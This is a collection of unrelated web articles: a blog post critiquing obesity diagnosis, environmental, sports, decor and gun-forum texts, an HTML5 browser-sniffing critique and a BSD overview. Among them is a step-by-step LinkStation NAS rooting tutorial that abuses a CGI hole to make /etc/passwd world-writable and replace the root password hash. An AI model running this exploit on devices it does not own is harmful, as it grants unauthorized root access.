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I went to a new doctor today. Didn't love him, probably won't go back (though I didn't say that to the coworker who recommended him, of course). He was fine, but he did that particular doctor thing where they tell you to stop doing something without asking first whether you do it or not. Honestly, I'm probably never going to get along with a doctor who can't bother to ask me about my habits before telling me to change them.
But he was pretty good on the subject of weight. He did bring up weight when he thought it was relevant to my complaint, and was overly dogged when I explained why it wasn't, so points off for that. But I really appreciate that he didn't berate me, or try to sell me on the Celery and Oxygen Diet.
Less appreciative is Dr. Sanjay Gupta, writing in Time. He reports that too few doctors are emblazoning their patients with what he calls "the scarlet O":
Researchers at the Mayo Clinic in Rochester, Minn., recently released the results of a survey of more than 2,500 obese patients who went to their doctor for a regular checkup over the course of a year. The investigators found that the charts of only 1 in 5 of those people listed them as obese. What isn't on the charts is probably not communicated between doctor and patient either, and that means trouble. Those in the study who got the diagnosis were more than twice as likely to have developed a weight-management plan with their doctor than were the other obese patients.
Dr. Gupta is quick to invoke the universal and totally unchallenged conventional wisdom about fat; he only takes a couple of paragraphs before he nods sagaciously, taps his nose, and pronounces: "Obesity, of course, means a higher risk of heart disease, diabetes, hospitalization and early death." Of course. And yet all these doctors, who presumably know that OF COURSE you shouldn't let a fat patient walk out of your office without a meal plan, are declining to diagnose "obesity" on their charts.
Gupta flails around a bit, trying to guess why this would be. He can't really come up with anything beyond "doctors don't want to embarrass their patients," which is handily conflated with "doctors don't want to give their patients eating disorders." The two are, of course, indistinguishable; an eating disorder is just a particularly acute form of embarrassment! This can be avoided, Gupta tells us, by saying that a child has "a weight problem" instead of that she's "obese." Why, of course.
One doctor quoted in the article points out that it can be harmful to scare patients away from the medical profession. Gupta follows this up with a non sequitur worthy of Miss South Carolina:
"You don't want to make people feel embarrassed and not want to come back to you. You want them to get treated," he says. Jacobson stresses that every pediatrician should determine a child's body-mass index (BMI)–a figure arrived at by factoring weight and height to produce a two-digit number that roughly diagnoses obesity.
Of course, you don't want people to stop getting medical treatment. You just want to slap a number on them that calls them "diseased."
Here's my theory, and I ain't got no medical degree like Mr. Every-Byline-Must-Say-"M.D."-So's-Nobody-Thinks-I'm-Just-Some-Reporter. I think that doctors "diagnose" things that are medical issues. Regardless of conventional wisdom, regardless of the fact that of course Dr. Gupta knows that obesity will kill you, if they see a patient come in who is in good health, or whose health problems are not correlated with obesity, or whose health problems are correlated with obesity but whose habits are good (say, they're fat and diabetic, but managing their blood sugar beautifully), some doctors are going to be too sensible to diagnose them with a spurious disease.
If I went in to the doctor for a cough, and the doctor looked at me and said "fair skin and moles are risk factors for skin cancer, I recommend you have them removed, and let's start you on a sun-avoidance program," I would be not only offended but horrified. I can't see any difference here. If I go in for an illness, or a broken arm, or an STD test, or when my kidneys finally fail from the genetic disease I've almost certainly got, I don't expect my doctor to point out everything about me that might plausibly be correlated with other diseases I don't have. I consider the doctors Gupta mentions to be eminently responsible, and I'm encouraged to hear about them. In fact, I don't think there are enough of them. The Mayo study said that only 1 in 5 patients had "obesity" listed on their charts; I'm not at all convinced that 1 in 5 people going in for a regular checkup had illnesses even remotely correlated with fat, let alone caused by it.
Why are doctors not "diagnosing" obesity? It is plausible that once, long ago, they read the Hippocratic Oath, whose modern version includes avoiding overtreatment and considering your patient as a human being. Dr. Gupta would be wise to do the same.
(Thanks Zuzu for sending Kate the link!)


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Professionals charged with promoting biodiversity in Peru gained access to tools and methods that will help them achieve results. They attended a workshop on CEPA - Communication, Education and Public Awareness offered by IUCN CEC member Marta Andelman at the Peruvian Natural Protected Areas Forum.
Marta Andelman, a CEC member from Argentina, facilitated a four-hour CEPA workshop during the Peruvian Natural Protected Areas Forum. More than 400 participants met for three days to discuss the current situation and future of protected areas in Peru.
"My workshop had 37 participants, all working in relation to protected areas and biodiversity management, including directors of national protected areas, civil servants and NGO staff," Marta reports. "The workshop generated much interest in the Ministry of Environment and in the National Park Service to plan other activities and the 2010 International Year of Biodiversity."
Using CEPA techniques for the International Year of Biodiversity (IYB) is a good approach for Peru, which has been identified as a megadiverse country by the World Conservation Monitoring Centre (UNEP-WCMC). Biodiversity in Peru, however, is experiencing an increasing impact through tourism, mining, deforestation and other forces. "There is huge job to do and a great demand for capacity building in CEPA issues. I believe that his workshop and the joint Steering Committee meeting of IUCN's CEC and WCPA in Quito are opening a bridge with the environmental management in South America. It is a good time and a good opportunity for the CEC to extend our actions in this framework."
Marta distributed 50 copies of the CEPA Toolkit on CD (in Spanish), which she had received from David Ainsworth of the Secretariat for the Convention on Biological Diversity when in Montreal for the World Environmental Education Conference earlier this year.
The CEPA workshop in Peru was a very practical and participatory event. It focused on change management and communication strategies, which participants explored through the context of their own work. They shared reflections and explored diverse solutions to address problems in various sectors. Several CEC members advised Marta on workshop's structure, including Frits Hesselink, Susana Calvo and Ana Puyol.
CEPA tools and methods, conveyed in workshops such as this one in Peru, can help CEC to make a difference. "The Latin-American CEC challenge is to develope our activities to facilitate the integration of social instruments to achieve the environmental objectives of the region, together with the biodiversity managers," Marta says.
The Peruvian Natural Protected Areas Forum was organized by following groups, in addition to a number of NGOs and other government offices:
- IUCN Peru Committee (Comite Peruano de la UICN)
- Apoyar la Conservacion de la Naturaleza en el Peru (APECO)
- IUCN World Commission on Protected Areas (Grupo Nacional Peruano de la Comision Mundial de Areas Naturales Protegidas de la UICN)
- Peru National Park Service (Ministerio del Ambiente, Servicio Nacional de Areas Naturales Protegidas por el Estatado)
Key organizers of the event included CEC member Sofia Brutton, a social animator in Peru, and Silvia Sanchez, both of APECO.
A video report (transmision en vivo del III Foro ANP) is available on this website: http://www.foroanp.pe/

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My Great Outdoors: My Mom's Drought Tolerant Garden
Name: Tracy (My Mom)
Location: Montrose
Type of space: Front Yard
How did you do it?: Welcome to my mom's front yard. I wish I had a before shot of it but about ten years ago it was half dead lawn with sad hedges hugging the house. My mom, a landscape designer, decided to forgo the lawn and make a garden rich in texture, color and low on water consumption and maintenance.
The garden has been transforming over the last ten years as things overgrow, die or just need to make room for new plants. My mom wanted to have the garden look lush for as much of the year as possible so she chose plants that would bloom or peak at different times: crepe myrtle, kangaroo paw, roses, lavender, euphorbia, phormium and heavenly bamboo all have interesting leaf textures and offer different colors at different times of the year. She also scavenged rocks from the backyard and from neighbors trying to get rid of them (she lives in a rocky area) to make drainage areas and cover large areas without relying on grass. The result is a garden that looks alive most of the year instead of going dormant in the winter or getting burnt out in the summer. The best part is that most of her plants are drought tolerant and she's installed a drip system so watering doesn't take up a lot of time (or water).
Recommended store, site, product or resource?
Green Arrow Nursery for small starter plants.
California Cactus Center for a great selection of succulents and cactus.
The Huntington Cactus Garden for inspiration.
Theodore Paine for native plants that need very little water.


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Folk-tastic Fairy Tale Decor
Otherworldly and animal-themed decor has been a trend for a while now, but the new Harry Potter preview has us thinking about wizards, dragons, and wands all over again. (Can't wait for November 2010!) Apparently, magic is still part of the general zeitgeist of the design world, too, since new fairy-tale-inspired styles keep making their way into the market.
We've rounded up a few examples above. Although there are several that aren't new this year, many are designs that debuted or were re-released in 2010.
- This seasonal Iittala Satumetsä Dinnerware is new and currently on sale for $18 - $68. It's like Dr. Seuss meets the Brothers Grimm.
- Nymphenburg recently re-released this Black Biscuit Owl, which looks just like Harry's Hedwig cast in black.
- This Emery & Cie Caid Headboard (€1700) could very well be a portal into Narnia. For fairy tale decor, this European shop is always a good bet.
- Royal Copenhagen's Masquerade Mug ($40) is decorated with dragons. Other dishes in the series feature lions and tigers.
- Ferm Living's Gold Keys ($57) mimic gold leaf, and they remind us just a little of Celtic wall drawings.
- This Thomas Paul Tea Towel ($20) looks like an illustration straight out of Aesop's Fables.
- Gypsy Faire Tents are totally Lord of the Rings, or Narnia, or Harry Potter — take your pick.
- Tara Bernerd's Dagger Cushion could be Captain Hook's favorite throw pillow.
- This Little Hooves Print by Jeff Friesen ($20) is an example of the forest animal theme that's still going strong.
- Not Neutral's Triton Lacquer Tray ($145) is very Alice in Wonderland.
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|Wednesday, Apr 3, 2013 - 8:30 AM
"Pick Your Friends/ Finola's Farm"
Pick Your Friends - It's Valentine's Day and Nick and Sally disagree hotly on how to decorate the card they're making for the Cat. Does this mean they aren't really best friends? The Cat takes them to meet Sheldon, a tortoise who knows all about friendship. They learn that Sheldon's best friend is completely different from him and that being best friends doesn't mean you always have to agree. D
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Apple posted a showcase of "HTML5 and web standards" on its website Thursday that highlights the level of support for the emerging standard in the company's Safari and Mobile Safari browsers.
It's nice to see Apple (or anyone for that matter) talking about HTML5 and mentioning more than just video. The site showcases HTML5 audio and canvas elements, as well as CSS 3 transitions and typography tools. It also has a nice photo gallery that looks and behaves just like former Apple designer Mike Matas' amazing photo-gallery site.
Unfortunately, the way Apple presents the showcase, you would think Safari is the only web browser that supports these new web standards.
In fact, visit the site with any other browser and you'll get a message telling you to download Safari. Surely your browser must be inadequate? Actually, your browser is probably capable of handling the showcase just fine, but ultimately the showcase isn't about web standards: It's about Apple's version of web standards.
Apple is detecting the user-agent string (the bit of identifying data your browser passes to a web server when it requests a page) and only allowing Safari users to see the galleries. Other browsers are effectively cut off, regardless of the fact that many can render them just fine.
Worse, Apple's CSS code uses only WebKit-specific selectors — for example,
-webkit-border-radius instead of the actual CSS 3 selector
border-radius. WebKit is the open source engine that powers Safari and Google Chrome. Firefox, IE and Opera can't understand this code as clearly.
So much for web standards. Not only is user-agent sniffing absolutely the wrong way to determine the HTML5 capabilities of the current user, the implicit suggestion is that HTML5 is something only Apple supports.
Microsoft recently published its own HTML5 showcase to hype the coming release of Internet Explorer 9, and its demo pages are viewable (and work) in any non-IE browser with the proper support. Mozilla's HTML5 demo pages are geared to work with experimental builds of Firefox, but at least other browsers aren't blocked, and most of the demos actually work in Chrome.
To test Apple's demos in other browsers, we spoofed the user agent in Firefox and Chromium and found that, while several examples do indeed fail in Firefox, most worked just fine. Naturally, everything works without issue in Chromium, because it uses the same WebKit rendering engine as Safari. Apple is being disingenuous by making its browser seem more compelling than others. That's not surprising, but we'd be disappointed to see independent developers follow suit. [Update: As several commenters, and John Gruber point out, the version WebKit that Chromium uses doesn't yet support all of CSS 3's 3D transforms, which renders this demo incomplete, though still functional, in Chrome/Chromium.]
So how should you detect whether the current browser can display whatever bit of HTML5 or CSS 3 you're using? The long-established best practice is to detect for features, not browsers. To find out which features are available in the current browser isn't hard — there are even several free, open source libraries out there that do just that.
There are however, some cases where Modernizr might be overkill. For example, if you just want to embed some HTML5 video, you only need to detect one element. If Modernizr isn't right for your project, check out Mark Pilgrim's list of ways to detect HTML5 elements. The list of elements and how to detect them is an appendix to Pilgrim's book in progress, Dive Into HTML5.
The list isn't just elements, though it does cover those as well. But it also shows you how to detect API support for things like offline storage or geolocation, as well as SVG, SVG-in-HTML and even which video codec the current browser supports.
One thing Pilgrim doesn't cover is CSS 3 features (CSS 3 != HTML5). To detect which CSS 3 features are available in the current browser you can use Modernizer or you can roll your own code using a library like jQuery, which includes a
support() method to check a wide range of browser features before executing code.
See Also:
- Handy Guide to Detecting Support for HTML5
- Where on the Web Is HTML5?
- Beautiful Websites: Former Apple Designer's Amazing Photo Gallery
- Beautiful Websites: Slippy for Presentations


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Paulo Dybala can play as a striker for Juventus, according to head coach Massimiliano Allegri.
Dybala has only started two of Juve's opening four Serie A games, the reigning champions making a perfect start to the campaign to be top of the table.
Allegri said he needed to work around the Argentina international's strengths, suggesting the 24-year-old could play as a striker.
"I could play Dybala as striker. I think it's possible, yes. If you remember, this is something we already tried a couple of season ago," he said.
"If we play with this system, we need two wingers playing more offensive because Paulo is not a player who only plays in the box, he likes coming back and he makes the team play very well. Therefore, I have to use him according to his characteristics.
Game mode | https://t.co/G9LhZJLa6u #FinoAllaFine #ForzaJuve pic.twitter.com/NszCf6Lfn5— JuventusFC (@juventusfcen) September 22, 2018
"If he plays as striker then we need our wingers and midfielders coming into the box to finalise the play, otherwise it is difficult to score goals."
Juve have scored nine goals in their opening four league games and visit Frosinone on Sunday.
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Artist & Healer
1940 ~ 1998
Mount Hope Cemetery
17th & Fairlawn
Topeka KS
Wish I'd noticed Mr. Mellen's stone in time for Summer Solstice, but the fallen leaves among the smaller stones make it appropriate for the first day of Fall, don't you think?
I know nothing about him except that he was a devoted father and husband who worked as a counselor at the old Topeka State Hospital, hence "healer". His son, also a Vance, makes industrial shorts (films) and indie horror flicks.
I've picked a stone at random,
in cemeteries miles apart,
that turned out to be connected to
industrial shorts and indie horror flicks.
What are the chances?
The first was Clyde and Nellie HAMLIN's stone at Rochester Cemetery.
After college, the Hamlins' grandson Arthur "Art" Wolf and boyhood friend Russell Mosser started a company called Centron Films in Lawrence KS which made many award-winning educational films shown in schools across America in the 1950s, '60s and '70s.
But perhaps their most famous film is "Carnival of Souls", a 1962 low-budget sleeper that gained a huge following after being aired on late night TV in the '90s.
Art Wolf, Centron Films and Carnival of Souls


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View from above
Media crews use apartment balcony to cover protests in Athens against the visit of the German Chancellor Angela Merkel. Athens went into security lockdown for a landmark visit by German Chancellor Angela Merkel, an austerity hate figure in Greece whose arrival will be greeted by union and opposition party protests. Thousands of police fanned out across the capital, creating a large safety zone for Merkel's meetings with Prime Minister Antonis Samaras and President Carolos Papoulias in which all gatherings and protests have been banned.
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CGI Exploit (PowerPC) original method of Hacking the LinkStation
1. This method applies only to version 1.45_13 and previous firmwares! The hack works by exploiting a security vulnerability in the stock LinkStation web server. Basically you will create a script which, on execution, will change the permissions of the system password file, thus allowing you to replace the stock root password (which we don't know) with the password for the user account you previously created (and which we do know). Start by connecting to the LinkStation via telnet.
2. Enter the username and password you previously created. You should now be at the command prompt.
3. First we need to create a directory from which to launch the CGI exploit. Use the command:
mkdir /www/cgi-bin3; cd /www/cgi-bin3
4. Now we need to create a script to change the permissions for /etc/passwd (the system password file). Use the command:
vi exploit.cgi
5. Press i for interactive mode and enter the following:
#!/bin/sh chmod 666 /etc/passwd
6. Save the file by pressing the escape key and entering:
7. Press enter and the file should be saved in /www/cgi-bin3/ as exploit.cgi. Next make the file executable by using the command:
chmod +x exploit.cgi
8. Execute the file by launching your web browser and entering the URL:
9. /etc/passwd should now be readable/writeable. Let's backup the password file before we mess with it:
cp /etc/passwd /etc/passwd-bak
10. Open up the password file so we can change the root password to one we know:
vi /etc/passwd
11. The root password is stored in an encrypted format. /etc/passwd should look something like:
root:asdfngskmnf.4:0:0:root:/root:/bin/bash youruseraccount:nvgdkfj5f.5sdf:100:1000:/home:/bin/bash
12. The root password is contained between the two colons after root. In this example it would be asdfngskmnf.4. The youruseraccount password would be nvgdkfj5f.5sdf. You can delete the root password by moving the cursor to the beginning of the password and typing dw to delete the entire word. Then press i to enter interactive mode and type in the youruseraccount password.
13. Let's try to become root. While keeping your existing telnet session open, start a new telnet session and attempt to log in as root. If you fail to log in as root, double-check that you edited /etc/passwd correctly. If you have any problems or somehow messed up the password file simply copy over the password backup using the command:
cp /etc/passwd-bak /etc/passwd
14. Finally we need to secure the LinkStation by removing the exploit script, correcting the /etc/passwd permissions, and deleting the backup password file. Use the commands:
rm /www/cgi-bin3/exploit.cgi; chmod 644 /etc/passwd; rm /etc/passwd-bak
15. Congratulations, you have successfully hacked your LinkStation!


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• The Schedule
Saturday, Apr. 20, 2013 at 7:00 p.m.
No. 7 UC Santa Barbara (15-15. 11-13) at No. 2 UCI (22-6, 18-16)
at the Bren Center in Irvine, Calif.
Series record vs. the Anteaters – 45-24
Streak vs. the Anteaters – Lost 6
UCSB Streak Overall – Lost 1
UCI Streak Overall – Won 5
Last time out vs. the Anteaters – L, 3-1 (2/14/2013)
• Gauchos Split Final Two Games of the Regular Season
UCSB went 1-1 in two four-set matches last week against USC and Pepperdine. Although they fell short to the Waves, UCSB brought the heat against the Trojans. Per usual, Evan Licht had an amazing performance on Wednesday night, complete with 19 kills and a career-high four service aces. At the net, Jake Staahl slammed down eight blocks, while Dylan Davis and Jonah Seif each recorded six. Austin Kingi lead the defense with 11 digs and aided the offense with nine hard kills and three service aces. The Gauchos need to play tough like this on both sides of the court to be strong contenders in the MPSF Tournament.
• History to Uphold
The last time the Gauchos were in the postseason was in 2011, where they made it all the way to the NCAA Championships. Coincidentally, UCSB was also ranked 7th that year. The Gauchos powered through BYU, Long Beach State, and USC to take the MPSF Championship. UCSB made their first Final Four Appearance since 1988 and came out on top of USC yet again. However, their Cinderella story came to an end when Ohio State bested the Gauchos in five close sets. Now, UCSB looks to continue this high-level of postseason play as they take on UCI.
• The Last of the 2011 NCAA Runner-Ups
The last remaining starter of the 2011 NCAA finalist team, Dylan Davis will have his last shot at the postseason. One of four seniors, Davis is working hard to get the Gauchos pack into the NCAA Championships. He has shut down the opposition at the net, racking up 437 total blocks in his career - just 18 shy of UCSB's 455 blocking record. Undoubtedly, Davis has had an incredible season thus far. He currently leads the nation in hitting percentage with a .438 clip and ranks third in blocks per set by averaging 1.37.
• Best of the Best
Undeniably, the Gauchos are a well-rounded team and have some of the best athletes in the country. On top of Davis' national rankings, four other Gauchos make the cut. Jonah Seif is 7th in assists per set by averaging an astounding10.51. With a 1.18 average, Jake Staahl ranks 12th in blocks per set. At libero, Chad Kingi has averaged 2.39 digs per set, ranking him 13th. Rounding out the rankings, Evan Licht's accuracy from behind the line places him at 19th in aces per set (.33). UCSB has the potential to go far with top athletes in all the aspects of the game.
• Anything You Need
Austin Kingi continues his high level of play in all aspects of the court, making him one of UCSB's most versatile weapons. Against Pepperdine, he hammered 13 kills and picked up a team-high eight digs. Even more, Austin has picked up 20 service aces and 41 blocks this season.
• Setting Perfection
Freshman Jonah Seif sets all over the court, lining his teammates up for perfect kills. Seif recorded over 40 assists in the last three games, totalling in 1051 for the year. He leads the team in assists and ranks fifth in the MPSF in assists per set, the highest of any freshman this year.
• UCSB Killing It
Evan Licht, Austin Kingi, and Dylan Davis have each reached over 200 kills this year. Licht's dominance on the court culminated in 227 kills, the frontrunner performance for the Gauchos. Not too far behind sits Austin Kingi, who has pounded away 216, including nine double-digit performances. Most consistently, Davis put away 210 kills at a remarkable .438 clip. Throughout this year, the Gauchos have outswung their opponents 1381 to 1338 kills.
• UCI Match-Up
UCSB has their work cut out for them in the quarterfinals on Saturday when the Gauchos take on the Anteaters for the first time in postseason play. UCI won the national championship last year and has topped the Gauchos twice this season. In the first match-up, UCSB was hurt by double digit kills from Tillie, La Cavera, and Hughes. UCI put up double digit kills once again from Dejno, Tillie, and Hughes in the second meeting. Still, the Gauchos have proved that they can play with anyone when they are on their game. UCSB needs to cut off the Anteater momentum and start generating its own. The last time UCSB saw the Anteaters was when the Gauchos had hit a lull in the season. Now, UCSB is definitely playing like a different team, a stronger team. Nonetheless, the Gauchos need to pull out all the stops to upset UCI and move on in the tournament.
UCSB Takes on UC Irvine in First Round of MPSF Playoffs
• The Schedule


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Rocker Tom Petty once sung about how waiting is the hardest part. This sentiment could be true for Allegiance Communications customers as the company has been transitioning them to its upgraded digital telecommunications system.
Rocker Tom Petty once sung about how waiting is the hardest part. This sentiment could be true for Allegiance Communications customers as the company has been transitioning them to its upgraded digital telecommunications system. The transition is part of a push by BCI Broadband (Allegiance's corporate parent) to offer improved cable and Internet services, said Shawn Beqaj, BCI Broadband's vice president of government and regulatory affairs. Beqaj explained that the switch requires all televisions connected to the system use a digital converter or DTA. This will require customers to swap their current cable box for one of the new converters, he added. While the transition officially began on Nov. 19, this week has seen an increase in customer complaints. The Shawnee News-Star received reports that some customers experienced delays of up to four hours when they went to get a DTA in person. As a result, The News-Star went to Allegiance's corporate office at 707 W. Saratoga Street in Shawnee to find out more. Although attempts to reach anyone who had experienced a four-hour wait were unsuccessful, there was a line out of the door at 4:45 p.m. Thursday. Among those waiting outside the Allegiance Communications corporate office was Maxine Davis. Davis said she waited about 20 minutes in the line before getting inside. It wasn't her first attempt to get in line. "Every time I pass by it's like this," Davis said as she pointed to the other people standing just outside the door. "I'm just trying to get inside the door." Davis said she found out about the service change through the mail. "I already got my box," she said. "But when I hooked it up it said to contact the cable company to get it activated." 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There has been greater than expected demand, especially for the new Digital Video Recorders which has added to the delays and in anticipation we have doubled both the number of representatives at our walk in center and our call center facilities. In anticipation that some customers would wait until after the transition we have also expanded the hours at the walk-in center so that it is open from 8 a.m. to 8 p.m. and we also are now open on Saturdays from 10 a.m. to 4 pm. BCI has deployed technical support teams from other markets and added hundreds of new field technicians who have been delivering and installing devices in our customers' homes as well. Beyond all these efforts, we brought trailers and set up tents in communities to get the word out as we bring all of the latest, next-generation broadband services that Shawnee has been without for so many years." However, some customers like Julia Terpening, do not believe they received any notification from BCI/Allegiance. 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Stationary vs Moving Targets
I am curious if given the option to shoot at a moving target at the range vs a stationary target, which would you all chose and why?
I have roughly 2 years of handgun experience (visit the range 1-2x a month) and I find that the incremental gains I am making in accuracy have shrunk and am wondering if moving towards a moving target would increase my ability.
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Incrimental gains are still gains so good for you in that respect. I know alot of folks have limited range rescourses therefore not everyone gets to shoot at a moving target. With that said moving while you shoot at a stationary target can make a difference too.
Obviously range rules dictate what you can and cannot do so I would speak with a range officer before you try any tuck and rolls. Better yet save the tuck and rolls for the movies. Advance on the target while shooting then back away while shooting. Step side to side and continue to address the same target.
If you have a private spot to shoot you can go mad scientist however I suggest doing so in the company of a range buddy to offer you assistance if you need it.
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|May 1, 2012, 09:20 PM
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thanks vermonter. i understand the ultimate is moving while shooting a moving target but that is not an option for me at home. I do have a way to shoot at moving targets while i remain stationary - and im curious if most people find (or would find) that preferable to shooting a stationary target. i have yet to find and indoor range with something like this, but i think i could rig up something at home and wonder if its worth the effort.
|May 1, 2012, 09:24 PM
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"rig up something at home"
I like it. What did you have in mind? I think shooting at a moving target while stationary has a high training value. I have read about shooting a moving target and having to put say 5 rounds in the target between point A and point B.
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If your range allows them, swinging and rotating targets are real easy and cheap to make.
And they don't take up any more space than a single stationary target.
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|May 3, 2012, 08:39 AM
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hey g - i have been searching for some of those. do you have a link or picture?
|May 3, 2012, 09:51 AM
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Here's a bunch of good ideas for making reactive targets:
Also just do a web search for them, like "home made swingers" and so.
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|May 3, 2012, 12:38 PM
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ah, right most of these you would manually push etc. you couldnt really have those at a public range. certainly would work for home, though.
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When I go camping up here in some isolated camp spots in Alaska, I practice running right and left about 3-5 yards and shooting
at a stationery target (our range rules will NOT let folks do that around here). I figure in real life, you're not going to be standing still
while someone tries to make horizontal channels in your body. In all reality, if you're not behind cover, you're going to be trying to get to cover and so is the perp. I've shot a lot of rounds at stationary targets, standing and thought I was a good shot til I started running and shooting. Out of 5-6 shots, most I normally can get is 2 or 3 in or near a vital running as fast as I can, sometimes 1.
I saw a movie where a cop and Lenny Magill did this with paint bullets and Lenny and the cop were hard pressed to hit anything. Lenny did manage a couple of lethal hits on one try and the cop did 1 on Lenny once but overall, it's pretty tough to do. Anytime you can shoot at something moving or you moving is good practice IMHO. I always opt for a moving target if I could get it or a target that turns within a second or 2.
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I shoot for fun in my old age, and I can't think of any thing more fun then something like the Texas Star or similar targets.
We were getting cocky with our clubs Texas Star, so they started putting a sheet of plywood on the top half so we could only shoot when the plates were at the bottom.
Which if you ever shot the Texas Star, you know shooting the bottom plates first, gets the targets spinning faster.
Moving targets are a heck of a lot of fun.
Rifle movers aren't as much fun unless you vary the speed, or have stop and go targets down range.
A game I haven't tried yet, but want to is where you have a cut out target of dangerous game that comes toward you at relatively close range and you have to make a killing shot using a heavy Africa type rifle with full power loads. Seen them shoot those targets on TV, they look like a heck of a lot of fun.
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Un ganador ha sido elegido entre 80 diseños de 29 diseñadores freelance.
Hi there, I've had requests from people to do some java training so I want to create a site to do this. First step is I'll need a logo, then in a subsequent contest, I'll need a wordpress template.
Desired Style:
Bold, primary, digg, apple, orb, slashdot
Accepted File Formats:
Vector Formats (.eps, .pdf or .ai)
Because this training is hopefully going to turn people into a leading coder, I called the site leadingcoder.com. The logo is for leading coder, we can leave out the com. I'm not sure whether the words look better together or apart, actually I'll leave it up to you.
Like I said, once I'm happy with the result of this contest and have chosen a winner, then I'm going to go on to create a coded design contest for an overall design that would need to be a wordpress template. I thought I'd start with the logo though.
Designs that inspire me:
Digg, Apple, Slashdot, Orb
People that go to this site potentially also go to:
Slashdot, O'Reilly, Facebook
A bunch of words:
human,hi-tech, in-position, not cliche computer, smart, intelligent, simplicity, optimistic, open, competitive, elegant, reliable, back to basics
Anything else:
Bold primary colours? I'm open to having some shapes, some image component to the logo etc, up to you. I'll let you know when I like it or when I don't. You can do that funky web 2.0 gradiented/aqua style/reflection stuff if that's your bag, I quite like that, but I want a logo that will endure past fads. You don't have to do one like that. Up to you.
I'm looking forward to what you come up with!
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I see a new Bonny risin'! Coming this summer is an EP of new versions of Bonny classics from years gone by - fresh-minted by his constant companions of late, Ben Boye, Van Campbell, Emmett Kelly, Danny Kiely and Angel Olson. Before you roll your eyes, and ask "Greatest Palace Music too?" get an eye-full of the rolling going on in the Ben Berman-directed video, which premiered on the good ol' New York Times (remember them?) and is now up and lively on our sites, for you. Jeezus! Featuring a wraith-like Oldham shuffling merrily through the ancient lanes of Glasgow, bopping his way through a cemetery, stopping for drinks at local pubs and marching on through the flow of humanity with his band, "I See a Darkness" two-point-whoa is fun, friendly and of course, ghastly and horrifying. Why would we want it any other way?
The EP is to be called "Now Here's My Plan." There's five more songs a-comin' - but what will their videos be? Will there be any videos at all? "Now Here's My Plan" - coming on July 24th!


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Margaret Stephens, BM, CTHP (Certifi ed Therapeutic Harp Practitioner)
The harp produces music that can aid the healing process of body, mind and spirit. There is ongoing research into the beneficial effects of sound and vibration on the human body.
"Margaret was just delightful – very warm, sweet, friendly personality, loved her playing for us, helped to make us feel comfortable in an unfamiliar setting. Very enjoyable – a great pleasure!! Thank you."
Keywords: Mental and Spiritual Wellness


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Heads & Tails Quilt Pattern
A great stash buster!
This alluring quilt pattern is great for using up your leftover fabric scraps. By laying out your blocks in different ways, you can create a multitude of designs tailored especially for your personality. Make it scrappy looking or create a barn-raising scene -- anything goes! Finished quilt size is 78 1/2" x 87 1/2". Pattern requires Easy Angles tool.
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By ,
Published January 13, 2015
The scorching-hot Miami Heat put their 12-game winning streak on the line Friday night when they host the Memphis Grizzlies at AmericanAirlines Arena.
The Heat will be sad to see February go.
After dropping a game in Indiana to the Pacers on Feb. 1, the Heat didn't lose again. Miami's .923 winning percentage for the month was its third-best in franchise history and February marked the 19th consecutive winning month for the Heat, which is a team record.
"We don't play by the months," said LeBron James. "We didn't go into February saying, 'let's go 12-1.' We needed one of those stretches and we had one of those. We want to keep it going."
The Heat were, of course, driven by an amazing month from James.
In addition to the first NBA streak of six straight games with 30-plus points while shooting 60 percent from the field, James finished the month shooting 64.1 percent from the field. According to the Elias Sports Bureau, that percentage, based on players with 200 attempts, was the highest since Kareem Abdul-Jabbar shot 65 percent for the Los Angeles Lakers in March of 1983.
James is well on his way to Player of the Month honors, but Dwyane Wade hasn't been shabby. He has shot 62.7 percent from the field over his last four and is averaging 28.3 ppg during that span.
The Heat needed a few days off after Tuesday's double-overtime victory over the Sacramento Kings in Miami. The Heat prevailed, 141-129, as James posted a season-high 40 points and a career-high 16 assists. Wade added 39 points and seven assists.
The Heat have won 10 in a row at home and own an Eastern Conference best mark of 25-3 as the host.
The Grizzlies are a respectable 15-10 away this season and Friday's game will be a classic defense vs. offense matchup.
Miami is fifth in the NBA in scoring at 103.9 ppg, while the Grizzlies are the league's stingiest defense, allowing just 89.5 ppg.
While the Heat's 12-game winning streak garners all of the attention in the NBA, the Grizzlies have won eight straight themselves.
"They've won eight straight, that no one talks about, but we know," said James.
The Grizzlies' streak got to eight on Wednesday with a home victory over the Dallas Mavericks. Memphis overcame a 19-point deficit after the first quarter to win, 90-84.
Dallas' lead got as big as 25 points and Memphis didn't score a field goal for seven minutes in the fourth quarter and still came out on top.
"I don't know what their mindset was coming in, but it wasn't about going out and being professional and doing what they were supposed to do and playing the way they are capable of playing," said Memphis coach Lionel Hollins.
Zach Randolph and Marc Gasol both had double-doubles as the Grizz only shot 37.7 percent from the field for the game.
Memphis, which has won three straight on the road, has won eight in a row twice this season. The Grizzlies lost their season-opener, then rattled off eight straight from Nov. 2-17.
During that stretch, the Grizzlies beat the Heat, 104-86, in Memphis. The Grizzlies have won three of their last four against the Heat and seven of their last 10.
Memphis has taken two of its last three in South Beach.


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This led to Linux having great media coverage, while the BSD projects - though still having fresh innovations and being actively developed - except for new releases rarely make it to the press.
As already covered on OSNews there was a debate about increasing incompatibilities of third party tools with BSD. This has always been an issue, especially for everything but FreeBSD, which has some coverage by hardware vendors as it is often used in servers. Though this was raised on an OpenBSD mailing list, developers are frustrated everywhere. But to understand the reasons for the concern, it's important to understand the different philosophies of BSD and Linux developers. BSD guys are conservative folks, and they have to be: Every decision they make will immediately influence the whole operating system, as the whole BSD userland is bundled together and developed by the same persons and teams. Thus they tend to discuss more of the decisions part of any technical design.
With Linux, you don't have this problem. The GNU/Linux world consists of many independent software projects and distributions bundling them. A distributor can easily decide not to adopt a special version of a tool, but rather stay with an old one in order to preserve compatibility.
So the major issue in this case is not only that there are incompatibilities -- it is a general technical refusal of several implementations, but at the same time being forced to implement things to be compatible with the rest of the Open Source world (and especially desktop environments).
As an example, just browse a random BSD board, mailing list or chat, and search for discussions about systemd. You'll most probably find the worst trolling and ranting about it, while the Linux world in most cases took it with a shrug.
DragonFlyBSD is a fork of FreeBSD after the core developer of DragonFlyBSD, who was a FreeBSD developer at that time, didn't like the technical decisions taken in the project and decided to found his own one.
In 2012, DragonFlyBSD released two new versions: 3.0 on February 22nd, and 3.2 on November 2nd.
The ongoing work to improve SMP and clustering support resulted in exceptionally good PostgreSQL benchmarks also beating Linux, but there were also several other important changes:
VFS accounting/vquota -- DragonFlyBSD introduced a quota subsystem in their VFS (Virtual File System) layer, which is the subsystem used for accessing the real filesystem modules. Thus, they are able to have quotas on any filesystem, no matter if the filesystem supports it or not - but with the current implementation, those quotas are only stored until the machine is shut down.
